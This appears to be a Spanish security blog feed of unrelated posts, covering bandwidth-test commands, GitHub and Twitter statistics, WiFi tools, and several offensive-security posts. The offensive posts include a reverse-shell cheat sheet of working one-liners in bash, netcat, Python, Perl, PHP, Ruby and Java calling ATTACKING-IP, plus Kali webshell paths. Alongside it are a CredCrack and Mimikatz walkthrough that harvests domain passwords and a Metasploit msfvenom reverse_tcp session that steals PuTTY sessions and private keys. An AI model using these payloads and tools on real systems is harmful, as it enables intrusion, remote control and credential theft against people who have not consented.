wget -O /dev/null http://cachecefly.cachefly.net/100mb.test
SoftLayer (EE.UU. y Holanda):
wget -O /dev/null http://speedtest.dal01.softlayer.com/downloads/test100.zip
wget -O /dev/null http://speedtest.sea01.softlayer.com/downloads/test100.zip
wget -O /dev/null http://speedtest.ams01.softlayer.com/downloads/test500.zip
wget -O /dev/null http://50.23.64.58/downloads/test100.zip
curl -o /dev/null http://speedtest.wdc01.softlayer.com/downloads/test500.zip   
curl -O http://speedtest.wdc01.softlayer.com/downloads/test10.zip > /dev/null
wget --output-document=/dev/null http://speedtest.wdc01.softlayer.com/downloads/test500.zip
echo "scale=2; `curl  --progress-bar -w "%{speed_download}" http://speedtest.wdc01.softlayer.com/downloads/test10.zip -o test.zip` / 131072" | bc | xargs -I {} echo {}Mb\/s
Linode (EE.UU., Reino Unido y Japón):
wget -O /dev/null http://speedtest.tokyo.linode.com/100MB-tokyo.bin
wget -O /dev/null http://speedtest.london.linode.com/100MB-london.bin
wget -O /dev/null http://speedtest.newark.linode.com/100MB-newark.bin
wget -O /dev/null http://speedtest.atlanta.linode.com/100MB-atlanta.bin
wget -O /dev/null http://speedtest.dallas.linode.com/100MB-dallas.bin
wget -O /dev/null http://speedtest.fremont.linode.com/100MB-fremont.bin
Leaseweb (EE.UU. y Holanda):
wget -O /dev/null http://mirror.nl.leaseweb.net/speedtest/1000mb.bin
wget -O /dev/null http://mirror.us.leaseweb.net/speedtest/1000mb.bin
FDCServer (EE.UU.):
wget -O /dev/null http://lg.denver.fdcservers.net/100MBtest.zip
OVH (Francia):
wget -O /dev/null http://proof.ovh.net/files/100Mb.dat
 
Pruebas de subida:
Con el parámetro -r o -d se intentará hacer el test de forma bidireccional. No obstante fallará si tu firewall no permite el NAT de entrada (que es lo normal). Por eso ponemos a iperf en categoría de pruebas de subida/upload.

iperf3 -c iperf.scottlinux.com -u
iperf3 -c iperf.volia.net -R -P 4
iperf -c iperf.volia.net -r -P 4
iperf -c s-network1.amcs.tld -P 1 -i 5 -p 5999 -f B -t 60 -T 1
iperf -c iperf.acd.net -P 10 -t 240
iperf -c ping.online.net -i 2 -t 20 -r
bwctl -T iperf3 -f m -t 10 -i 1 -c ps.ncar.xsede.org
iperf -c ping.online.net -i 5 -u -r
iperf -c ping-90ms.online.net -i 5 -u -r
iperf -c debit.k-net.fr -i 10 -T 100
iperf -c speedtest.serverius.net
iperf -c iperf.he.net

Fuentes:
- Measuring Download Speed from Linux Command Line
- How to Test Your Internet Speed from the Command Line
- How can I get my public IP address from the command line, if I am behind a router?
- Download Test Files
- How to use wget to test bandwidth / download speed ?
- curl speedtest - A nimble benchmark tool
- How can I test the bandwith using a Linux shell ?  

- Handy iperf commands for quick network testing
- EsNet iperf and iperf3 
- Public iPerf3 servers

Cheat sheet de shell inversos (reverse shells)

$
0
0
Si tienes la suerte de encontrar una vulnerabilidad de ejecución remota de comandos (rce), seguro que querrás conectarse de nuevo a tu máquina atacante para usar un shell interactivo.
En el blog highon.coffee presentan una buena colección de shells inversos que podrás usar con los lenguajes de programación o los binarios instalados más comunes (nc, telnet, bash, etc).

Lo primero que debemos hacer es levantar un listener en la máquina atacante (a donde se conectará el shell inverso) en un puerto de salida que normalmente permiten los firewalls, por ejemplo el 80 o el 443.

root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...

Shell inverso en Bash
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/ATTACKING-IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done  

# or:

while read line 0<&5; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

Shell inverso en PHP

php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
(Asume que TCP el descriptor 3. Si no funciona, prueba 4,5 o 6)

Shell inverso con Netcat

nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Shell inverso con Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
 
Shell inverso en Perl
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Shell inverso en Perl bajo Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Shell inverso en Ruby

ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Shell inverso en Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Shell inverso en Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Shell inverso con Gawk

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

Shells inversos en Kali
Los siguientes shells están en Kali Linux bajo el directorio /usr/share/webshells/, muy útiles si puedes subirlos, inyectarlos o transferilos a la máquina de la víctima.


Kali PHP Web Shells

Comando   Descripción
./php/php-reverse-shell.php   Pen Test Monkey - Shell inverso PHP
./php/php-findsock-shell.php
findsock.c
   Pen Test Monkey, Findsock Shell. Compila gcc -o findsock findsock.c (ten en cuenta la arquitectura del servidor objetivo), ejecuta con netcat no con un navegador nc -v target 80
./php/simple-backdoor.php   Backdoor PHP, útil para la ejecución de comandos si puedes subir/ inyectar comandos, uso: http://target.com/simple-
backdoor.php?cmd=cat+/etc/passwd
./php/php-backdoor.php   Shell PHP más grande, con un cuadro de entrada de texto para la ejecución de comandos.
* Estos dos últimos realmente no son shells inversos, pero pueden ser útilies para ejecutarlos.
 

Kali Perl Reverse Shell

Comando   Descripción
./perl/perl-reverse-shell.pl   Pen Test Monkey - Perl Reverse Shell
./perl/perlcmd.cgi   Pen Test Monkey, Perl Shell. Uso: http://target.com/perlcmd.cgi?cat /etc/passwd

Kali Cold Fusion Shell

Comando   Descripción
./cfm/cfexec.cfm   Cold Fusion Shell - aka CFM Shell

Kali ASP Shell

Comando   Descripción
./asp/   Kali ASP Shells

Kali ASPX Shells

Comando   Descripción
./aspx/   Kali ASPX Shells

Kali JSP Reverse Shell

Comando   Descripción
./jsp/jsp-reverse.jsp    Kali JSP Reverse Shell

Hidden Tear, nace el primer ransomware de código abierto

$
0
0
Ya tenemos aquí el primer ransomware de código abierto. Se trata de "Hidden Tear" y lo ha publicado en Github el grupo turco Utku Sen. ¿Os suena Cryptowall o Cryptolocker? Pues se trata del mismo tipo de malware: usa cifrado AES para inutilizar los ficheros de la víctima y muestra un mensaje para intentar que los usuarios afectados paguen por su rescate. Por supuesto no es tan avanzado pero sin duda resulta bastante académico.

En el momento de su lanzamiento el malware evadía la mayoría antivirus, evidentemente ya no. "Si bien esto puede ser útil para algunos, existen riesgos significativos. Hidden Tear sólo podrá utilizarse con fines educativos. No lo utilice como ransomware", comenta Sen.

También han publicado un vídeo con una demo en el que se demuestra cómo el ransomware puede cifrar y descifrar archivos dejando una nota en el escritorio de la víctima.

Por el momento, la publicación de este código (parece que bastante mejorable, por cierto) ha generado bastante controversia en la comunidad. Veremos si esta fórmula termina en un desarrollo y evolución significativa de esta herramienta y/o se trata de una piedra angular de una nueva familia de ransomwares de código abierto moldeados y evolucionados por una basta mayoría. 

Pero por el momento y como comentaban hoy en el blog... "estamos viviendo los mejores momentos de la seguridad informatica ;)"

script kiddies' orgasm. part I

Hidden Tear: https://github.com/utkusen/hidden-tear

Consigue las credenciales del administrador de dominio en tan sólo 17 segundos con CredCrack

$
0
0
CredCrack es un script en Python de Jonathan Broche (@g0jhonny) que podemos usar para enumerar los recursos compartidos y recopilar rápidamente las credenciales de los servidores Windows de una red. Podríamos decir que es silencioso en cuanto a que carga las credenciales en memoria sin escribir a disco, y que también puede ser bastante rápido; en el siguiente vídeo se obtienen las credenciales de administrador de dominio en tan sólo 17 segundos:

Básicamente su funcionamiento es el siguiente:

- Inicia automáticamente el servicio de apache y despliega dos archivos en el directorio /var/www: fun.ps1 y creds.php.
- Valida la lista de IPs para asegurarse de que se llega a cada una de ellas y que tienen el puerto 445 abierto.
- Si se ha especificado el parámetro '-es' enumerará los recursos compartidos: smbclient -L //{} -U '{}/{}%{}'
- Consulta la lista de administradores de dominio de los sistemas alcanzables: net group \"Domain Admins\" /domain
- Lanza el script en powershell fun.ps1 que ejecuta mimikatz en memoria con Invoke-Mimikatz.ps1 y luego envía las credenciales mediante una petición POST que creds.php intercepta.
- Continua recopilando las credenciales de todos los sistemas provistos y cruza los usuarios obtenidos con la lista de administradores de dominio que había obtenido anteriormente.
- Finalmente muestra los resultados y se cierra limpiamente.


CredCrack funciona con las herramientas nativas de Kali Linux y para usarlo sólo tenemos que bajarnos el script de GitHub: 
 
wget https://raw.githubusercontent.com/gojhonny/CredCrack/master/credcrack.py

y descargar en el directorio /var/www el script en Powershell Invoke-Mimikatz.ps1 de Joe Bialek (@JosephBialek):
 
wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -O /var/www/Invoke-Mimikatz.ps1

Luego para enumerar recursos compartidos:

./credcrack.py -r 192.168.1.100 -d acme -u bob -es
Password:
 ---------------------------------------------------------------------
  CredCrack v1.0 by Jonathan Broche (@g0jhonny)
 ---------------------------------------------------------------------

[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Validating 192.168.1.100

 -----------------------------------------------------------------
 192.168.1.102 - Windows 7 Professional 7601 Service Pack 1
 -----------------------------------------------------------------

 OPEN      \\192.168.1.102\ADMIN$
 OPEN      \\192.168.1.102\C$

 -----------------------------------------------------------------
 192.168.1.103 - Windows Vista (TM) Ultimate 6002 Service Pack 2
 -----------------------------------------------------------------

 OPEN      \\192.168.1.103\ADMIN$
 OPEN      \\192.168.1.103\C$
 CLOSED    \\192.168.1.103\F$

 -----------------------------------------------------------------
 192.168.1.100 - Windows Server 2008 R2 Enterprise 7601 Service Pack 1
 -----------------------------------------------------------------

 CLOSED    \\192.168.1.100\ADMIN$
 CLOSED    \\192.168.1.100\C$
 OPEN      \\192.168.1.100\NETLOGON
 OPEN      \\192.168.1.100\SYSVOL

[*] Done! Completed in 0.8s

Y para recopilar credenciales:

./credcrack.py -f hosts -d acme -u bob -l 192.168.1.100
Password:

 ---------------------------------------------------------------------
  CredCrack v1.0 by Jonathan Broche (@g0jhonny)
 ---------------------------------------------------------------------

[*] Setting up the stage
[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Querying domain admin group from 192.168.1.102
[*] Harvesting credentials from 192.168.1.102
[*] Harvesting credentials from 192.168.1.103

                  The loot has arrived...
                         __________
                        /\____;;___\   
                       | /         /   
                       `. ())oo() .     
                        |\(%()*^^()^\      
                       %| |-%-------|      
                      % \ | %  ))   |      
                      %  \|%________|      


[*] Host: 192.168.1.102 Domain: ACME User: jsmith Password: Good0ljm1th
[*] Host: 192.168.1.103 Domain: ACME User: daguy Password: P@ssw0rd1!

     1 domain administrators found and highlighted in yellow above!

[*] Cleaning up
[*] Done! Loot may be found under /root/CCloot folder
[*] Completed in 11.3s

Podríamos hacer prácticamente lo mismo con otras herramientas, pero sin duda este script resulta muy útil y facilita el trabajo. Eso sí, para que funcione y podamos obtener las contraseñas en claro necesitaremos ejecutarla con un administrador local, algo que podemos comprobar previamente al enumerar los recursos compartidos (-es). 


"Pues vaya entonces...", dirás, pero piensa que nos puede servir para "elevar privilegios" a nivel de dominio o quizás podríamos haber obtenido simplemente un prompt con un usuario con permisos o haber reutilizado un hash, etc.

¿Y cómo podemos defendernos ante estos ataques? Pues un poco lo de siempre para evitar Mimikatz y técnicas Pass-the-hash:


- Usar usuarios como los mínimos permisos posibles o Enforce Least User Access (LUA)
- Usar un script que compruebe diariamente los usuarios con permisos administrativos
- Crear contraseñas teniendo en cuenta las buenas prácticas que aseguren un mínimo de complejidad
- No validarse en estaciones de trabajo con administradores de dominio
- Segmentar la red para separar los puestos de usuario de los servidores y controlar adecuadamente el tráfico mediante firewalls.
- Usar NIDS.
- Desactivar WDigest
- En Windows 8+ y Server 2012 no usar NTLM. no cachear Windows Digest y reducir el tiempo de vida de los TGT de Kerberos

GitHub: https://github.com/gojhonny/CredCrack

Fuentes:
- Domain Administrator in 17 seconds 
- Preventing CredCrack, Mimikatz, Pass-the-Hash and more
- Dumping a Domain’s Worth of Passwords With Mimikatz pt. 2 
- Auto-Dumping Domain Credentials using SPNs, PowerShell Remoting, and Mimikatz

Alibi Routing: controla por dónde *no* pasan tus paquetes con enrutamiento punto a punto

$
0
0
En cualquier comunicación a través de Internet, como simples peticiones a sitios web o mensajes de correo electrónico, la información se divide en paquetes y se envía a través de una serie de routers hasta que llega a su destino. Los usuarios no podemos controlar por donde viajan estos paquetes y simplemente estamos indefensos ante la interceptación de nuestros datos por parte de gobiernos u otros. Ante la censura del tráfico de Internet, los enrutamientos "sospechosos" y el seguimiento de los datos de los usuarios poco podemos hacer... hasta ahora.

Varios investigadores de la Universidad de Maryland han desarrollado un sistema de enrutamiento punto a punto llamado Alibi Routing con el que los usuarios pueden controlar al menos por dónde NO deben viajar sus paquetes. Su funcionamiento es sencillo: el usuario especifica con quien se quiere comunicar (con el destino) y las regiones geográficas "prohibidas" a evitar. Luego el sistema busca usuarios "alibi" ("coartada" en inglés) en la red peer-to-peer que puedan restransmitir los paquetes del usuario demostrando que evitan las regiones señaladas.

He aquí un ejemplo de un usuario en Italia tratando de comunicarse con un servidor en Noruega, evitando Alemania:



Para evaluar su método, los investigadores simularon una red con 20.000 participantes y seleccionaron regiones prohibidas recogidas en el informe de 2012 "Enemigos de Internet" publicado por Reporteros sin Fronteras (China, Siria, Corea del Norte y Arabia Saudí), así como los tres países con mayor número de usuarios en Internet (Estados Unidos, China y Japón).


Más información en:
Fuente: https://alibi.cs.umd.edu/
Whitepaper: https://alibi.cs.umd.edu/papers/alibi_sigcomm15.pdf (SIGCOMM 2015)
Código(27 KB): Contiene el prototipo de la aplicación y el simulador. En el README tenéis las instrucciones para instalarlo y su funcionamiento.
Datos (16 MB): Contiene los datos necesarios para ejecutar el código anterior y recrear los experimentos del paper. Incluye información de topología (país polígonos).

20 exploits para PHP explicados (分析和测试代码)

$
0
0
Ya sabéis que PHP es un lenguaje de programación de propósito general ampliamente utilizado, que está especialmente indicado para el desarrollo web y puede ser embebido en páginas HTML. En Github he encontrado un interesante proyecto llamado PCH (Php Codz Hacking) que contiene 20 ejemplos con distintos fragmentos de código que nos llevan fácilmente al análisis fundamental de los problemas de seguridad más comunes en las aplicaciones que usan PHP. No os los perdáis pero, eso sí, sacar el traductor de chino a pasear:

ItemTítulo
PCH-020Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]
PCH-019Type Confusion Infoleak Vulnerability in unserialize() with DateTimeZone
PCH-018PHP 脚本多字节字符解析模式带来的安全隐患
PCH-017About PHP's unserialize() Function Use-After-Free Vulnerability
PCH-016XSS via Error Reporting Notices in HHVM's unserialize() Function
PCH-015Code Injection Vul via unserialize() & var_export() Function...
PCH-014PHP WDDX Serializier Data Injection Vulnerability
PCH-013PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
PCH-012New feature of double-quoted string's complex-curly syntax
PCH-011Destructor in PHP
PCH-010PHP string序列化与反序列化语法解析不一致带来的安全隐患
PCH-009Security risk of php string offset
PCH-008parse_str的变量初始化问题
PCH-007New Includes Function -- spl_autoload()
PCH-006安全模式下exec等函数安全隐患[updata:2009-6-19]
PCH-005当magic_quotes_gpc=off
PCH-004关于magic_quotes_sybase
PCH-003mb_ereg(i)_replace()代码注射漏洞及其延伸出的正则应用安全问题
PCH-002preg_match(_all)的变量初始化问题
PCH-001intval()使用不当导致安全漏洞

Módulo de Metasploit para enumerar las sesiones guardadas de PuTTY

$
0
0
Hoy en día en entornos corporativos se utiliza mayoritariamente estaciones de trabajo con Windows 7 y el cliente PuTTY para acceder por SSH a servidores Linux. Para nosotros los "malos" es capital poder obtener las credenciales que utilizan los usuarios para acceder a esas máquinas ya que, o bien son técnicos de sistemas y las usan para administrar toda o gran parte de la infraestructura, o bien son desarrolladores que suben el código fuente o incluso administran aplicaciones concretas.

Yes... the PuTTY CLUB exists...

Stufus ha desarrollado un módulo de post-explotación para Metasploit que extrae información *muy útil* de PuTTY y Pageant (el primo-agente SSH de PuTTY): enumera las sesiones guardadas y los fingerprints de confianza y obtiene las claves privadas. Yo he convencido a un amigo administrador que usa PuTTY para probar el módulo XD, así que vamos a ello...

Primero genero el payload, sin necesidad de hacerlo FuD, porque mi amigo lo va a ejecutar desactivando el AV previamente (gracias amigo):

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=80 -f exe > shell.exe

Luego pongo la oreja y espero plácidamente que llamen a la puerta:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.206.128
LHOST => 192.168.206.128
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.206.128:80
[*] Starting the payload handler...
msf exploit(handler) >

msf exploit(handler) >
[*] Sending stage (885806 bytes) to 192.168.206.1
[*] Meterpreter session 1 opened (192.168.206.128:80 -> 192.168.206.1:15655) at 2015-08-26 11:22:02 -0400

Vale, ya tenemos la chell remota como podéis comprobar:
msf exploit(handler) > sessions -l

Active sessions
===============

  Id  Type                   Information                   Connection
  --  ----                   -----------                   ----------
  1   meterpreter x86/win32  DOMINIO\amigo @ PC123-21  192.168.206.128:80 -> 192.168.206.1:15655 (192.168.206.1)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

Antes de seguir, como el msfupdate no me añade este módulo (todavía), vamos a traerlo a cascoporro:

root@kali:/# mkdir -p $HOME/.msf4/modules/post/windows/gather/
root@kali:/# curl -Lo ~/.msf4/modules/post/windows/gather/enum_putty_saved_sessions.rb https://raw.githubusercontent.com/stufus/metasploit-framework/8b8ed04a73611456cc52b809c967334d88284843/modules/post/windows/gather/enum_putty_saved_sessions.rb
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 11206  100 11206    0     0  23177      0 --:--:-- --:--:-- --:--:-- 23152

Recargamos:
msf exploit(handler) > reload_all 
[*] Reloading modules from all module paths...

Y estrenamos nuestro nuevo módulo:
msf exploit(handler) > use post/windows/gather/enum_putty_saved_sessions 

msf post(enum_putty_saved_sessions) > set session -1
session => -1
msf post(enum_putty_saved_sessions) > run

[*] Looking for saved PuTTY sessions
[*] Found 14 sessions

PuTTY Saved Sessions
====================

 Name                   HostName               UserName  PublicKeyFile  PortNumber  PortForwardings
 ----                   --------               --------  -------------  ----------  ---------------
 checkpoint1            192.168.10.30                                      22         
 checkpoint2            192.168.8.30                                       22         
 srv23sa                192.168.15.8                                       22         
 srv24sa                172.40.15.8                                        22         
 kali                   192.168.206.128                                    22         
 kali2                  172.20.15.203                                     223        
 pc2563_mad1_b1         192.168.107.19                                       22         
 pc2563_mad1_b2         192.168.107.18                                       22         
 pt121_bcn_b1           172.40.15.12                                       22         
 pt121_bcn_b2           192.168.15.12                                      22         
 kalandrid              192.168.0.30                                       22         
 sobera2                192.168.17.23                                        22         
 rojo231                192.168.0.25                                       22         
 srv45sa                  srv45sa.local                                      22         

[*] PuTTY saved sessions list saved to /root/.msf4/loot/20150826114650_default_192.168.206.1_putty.sessions.c_738014.txt in CSV format & available in notes (use 'notes -t putty.savedsession' to view).
[*] Downloading private keys...

[*] Looking for previously stored SSH host key fingerprints
[*] Found 28 stored key fingerprints
[*] Downloading stored key fingerprints...

Stored SSH host key fingerprints
================================

 SSH Endpoint              Key Type(s)
 ------------              -----------
 172.40.15.8:22             rsa2
 192.168.15.8:22             rsa2
 192.168.0.25:22            rsa2
 172.16.0.1:22             rsa2
 192.168.177.128:22        rsa2
 192.168.8.30:22             rsa2
 88.26.211.211:22          rsa2
 srv45sa:22                  rsa2
 192.168.142.130:22        rsa2
 192.168.107.18:22           rsa2
 192.168.10.30:22             rsa2
 192.168.0.30:22            rsa2
 192.168.107.19:22           rsa2
 192.168.15.12:22            rsa2
 172.40.15.12:22            rsa2
 192.168.17.22:22            rsa2
 192.168.242.128:22        rsa2
 192.168.242.129:22        rsa2
 192.168.0.15:22            rsa2
 83.59.38.78:22            rsa2
 83.36.133.215:22          rsa2
 81.39.79.95:22            rsa2
 172.20.15.202:22           rsa2
 172.20.15.201:22           rsa2
 172.20.15.203:22           rsa2
 192.168.1.33:22           rsa2
 192.168.17.23:22            rsa2
 192.168.206.128:22        rsa2

[*] PuTTY stored host keys list saved to /root/.msf4/loot/20150826114656_default_192.168.206.1_putty.storedfing_883782.txt in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).

[*] Looking for Pageant...
[+] Pageant is running (Handle 0x0)
[*] Post module execution completed

Fuente: https://github.com/rapid7/metasploit-framework/pull/5359

Los lenguajes de programación más usados en GitHub en 2015

$
0
0
La semana pasada GitHub publicó el siguiente gráfico con la evolución de la popularidad de los lenguajes de programación más utilizados en su plataforma:


Los resultados representan los lenguajes más usados en repositorios públicos y privados, excluyendo los forks (al menos los detectados). Como veis GitHub ha ganado mucho tirón entre la comunidad Java (del 7º al 2º puesto), probablemente debido a la popularidad de Android y al incremento de la demanda de servicios de control de versiones en empresas.


Bonus: Por otro lado y según estadísticas del año pasado, los usuarios más activos fueron:

#UsuarioContribsLenguajeLocalización
#1taylorotwell (Taylor Otwell)16210
Arkansas
#2GrahamCampbell (Graham Campbell)12172PHPThe United Kingdom
#3brianchandotcom (Brian Chan)10016JavaScriptLos Angeles, CA
#4michalbe (Michał Budzyński)9584JavaScriptWarsaw, Poland
#5fabpot (Fabien Potencier)8396PHPParis, France
#6kevinsawicki (Kevin Sawicki)8110JavaScriptRedwood City, CA
#7springmeyer (Dane Springmeyer)7185C++Winthrop, WA
#8rkh (Konstantin Haase)6316RubyBerlin
#9ornicar (Thibault Duplessis)6183PHPParis, France
#10sebmck (Sebastian McKenzie)6129JavaScriptLondon

Y los países con el mayor número de repositorios:

PaísNúmero de usuarios
1USA253452
2India67297
3Great Britain33395
4Germany19706
5Canada16685
6China14234
7Australia12592
8Brazil12325
9France12217
10Russia11319

Fuentes:
- https://github.com/blog/2047-language-trends-on-github
- http://githut.info/ 
- https://gist.github.com/paulmillr/2657075/
- http://nlpx.net/statistical-analysis-of-stackoverflow-and-github-users/

Las 100 palabras más usadas en Twitter por hackers y entusiastas de la seguridad

$
0
0
Twitter no es evidentemente el lugar idóneo para que los hackers puedan discutir sobre sus asuntos manteniendo la privacidad, para eso están los IRCs (hola nostálgicos!), foros y otros canales cifrados. No obstante puede ser un medio perfecto para que la información fluya y se comparta.

¿Y de que es lo que más hablan los hackers y otros entusiastas de la seguridad informática en Twitter? Pues existe un portal llamado Topsy que recopila todos los tweets desde el año 2006, los busca y los analiza ofreciendo interesantes estadísticas. Mediante este portal hemos podido saber los términos y palabras que más nos suenan y más resuenan entre la comunidad entusiasta de la seguridad informática y también el "público" en general en el último mes, y los resultados son bastante interesantes.

Por ejemplo, este ha sido el mes del escándalo 'ashley madison' y así lo reflejan sus  casi 600.000 tweets registrados sólo desde el día 17 de agosto. Luego en los primeros puestos se sitúan términos generalistas que también tienen otros significados fuera del ámbito de la seguridad informática como 'code', 'community', 'attack', etc. y destacan algunos más específicos como 'password', 'virus', 'root', ...

Que cada uno saque sus propias conclusiones. Os dejo esta y otras listas (en inglés) por si queréis también satisfacer vuestra curiosidad:

Top 100 - hacking & security terms
2.9M code
2.1M community
2.3M attack
1.9M weak
1.8M security
1.5M network
1.7M fix
1.2M crack
805k steal
762k hack
614k analysis
607k threat
599k ashley madison
542k banned
533k bug
507k pirate
504k technical
451k password
428k virus
414k root

398k hacked
396k fraud
389k patch
384k troll
375k leak
367k cyber
364k privacy
354k spy
309k tracking
300k theft
299k nsa
275k tor
244k hacking
238k cracking
213k hacker
207k vulnerable
189k administrator
133k flaws
111k worm
98k cracker
88k exploit
88k krank
82k wikileaks
79k injection
77k malware
73k vulnerability
72k antivirus
67k mr.robot
66k resilience

63k sexting
63k bypass
61k censorship
60k newbie
53k overflow
53k compromised
46k hooking
46k trojan
44k penetration
44k tweak
40k forensic
39k defeating
39k dron
37k firewall
37k scanning
31k backdoor
29k kernel
27k exploiting
20k reversing
19k phishing
19k spyware
18k hijacking
15k sysadmin
14k debugging
14k crypt
13k intrusion
13k hacking team
13k scripting
12k honeypot
8k keygen
7k adware
6.8k encrypt
6.7k xss
5.7k hardening
4.7k malvertising
4.7k pwned
4.2k spoofing
3.7k rce
3.5k 0day
2.5k cyberwar
1.9k obfuscate
1.5k hacktivism
1.3k pentesting
1.2k fuzzing
1k shellcode
841 pentest
774 steganography
716 lockpicking
396 crypter
167 dfir
68 maltelligence

Top 15 - famous hackers
18k Edward Snowden
6.9k Linus Torvalds
3.3k Tim Berners-Lee
1.8k Aaron Swartz
1.6k Richard Stallman
396 Kevin Mitnick
76 Jonathan James
68 Adrian Lamo
67 Gary McKinnon
57 Stephen Wozniak
38 Kevin Poulsen
28 Albert Gonzalez
26 HD Moore
13 George Hotz
13 Vladimir Levin

Top 10 - programming lenguages
411k ruby
339k java
311k php
223k html
176k javascript
154k css
146k python
61k c++
54k c#
12k powershell

Top 20 - Internet general
29M twitter
15M facebook
6M internet
5.5M google
5.2M android
3.9M machine
3.7M web
3.6M iOS
3.3M windows
3.2M whatsapp
2.4M email
2.2M wifi
1.5M computer
1.4M microsoft
1.1M technology
924k server
234k linux
218k sap
185k raspberry
9,7k datacenter

Top 5 - misc.
17M fuck
7M sex
4.7M rock
2.4M porn
1.2M drugs

WiFi... sí, gracias!

$
0
0
¿Tienes Wi-Fi? - Claro. - ¿Cuál es la clave? pagarlo!

No sé si acaso es debido a mi timidez o que no suelo causar buena impresión a menos de 50m (y en foto). Ahora que me pongo a pensar.!!!...quizás sea debido a mi problema con el alcohol o a mi natural vicio de ir en pelotas, o a mi animadversión a la autoridad... mis ojos blancos... o mi raro problema con las drogas y el Skateboarding no sé...., no pagar las multas, ver vikingos, jdt ...no sé,... .


Los 50mtrs me parecen una medida perfecta para... casi cualquier cosa... las palabras... radiofrecuencia y... aburrimiento... hacen un cocktail perfecto. He de confesar que desde hace un año pago mi wifi....pero por jugar al battlefield sin lag. Por lo demás es una grandísima mi....rada hacia el pasado...

Se que a muchos de vosotros (como a mi) os gusta leer poesía, ir de entierro, conocer al padre de vuestra novia, y por su puesto odiáis a aquella gente que prefiere bajarse las fotos de la boda del vecino, o gorronearle el media center.. Sea como fuera, coñas a parte.....

Hoy os traigo un puñado de herramientas para auditar redes wifi made in Spain que después de probarlas me han dejado la boca como a una veinteañera después de comerse una pera o era después de comerle las peras .. a una. vein ...jojojo como estoy hoy!

Perdón ahora si, sin tonterías..

Después de repasar unos vídeos reparé en la charla (brillante y sencilla, como deben ser las cosas) de la gente de Lallakk que dieron en la Rooted,que dicho sea de paso hoy por hoy, estas herramientas se han hecho imprescindibles en mi home....


La primera que vamos a ver es una herramienta muy sencilla escrita en python de la cual ya no puedo pasar aunque quiera, se llama lk_wifi_device_finder.py y la podéis bajar directamente de la página de sus creadores http://www.layakk.com/ en la sección de lab.

La herramienta en sí, nos ayuda a determinar cual es la mejor posición para recibir una determinada señal y emite una serie de pitidos en base a la calidad ésta. Veamos como funciona...

Para hacerla operativa en nuestros sistemas tenemos una serie de pequeños requisitos:
python-scapy python-pyaudio libasound2

Bajamos la interfaz, la ponemos en modo monitor, la levantamos y elegimos el canal a escuchar. Tras esto y después de darle permisos de ejecución arrancamos la aplicación pasándole los argumentos que deseemos.

Aparte estamos recibiendo en todo momento una señal acústica la cual se hace mas notable conforme nos acercamos a la mejor posición para recibir la señal, esta característica hace a esta tool la mar de practica.

La siguiente utilidad que os quiero presentar son realmente unos parches para hostap (sabéis como me gusta esta herramienta que me esta siendo últimamente muy útil). Su nombre lk_hostap_patch-v1.0.tgz.
El parche en cuestión dota a hostap de nuevas propiedades: La principal sería que podemos ser capaces de elegir a quien le damos servicio dependiendo del fabricante, y la otra da la capacidad de anonimizar las macs que salen por pantalla y en los logs.

Para ello debemos compilar hostap desde las fuentes aplicando parches (aquí solamente aplico el parche de vendors).

root # git clone git://w1.fi/srv/git/hostap.git
root# cd hostap
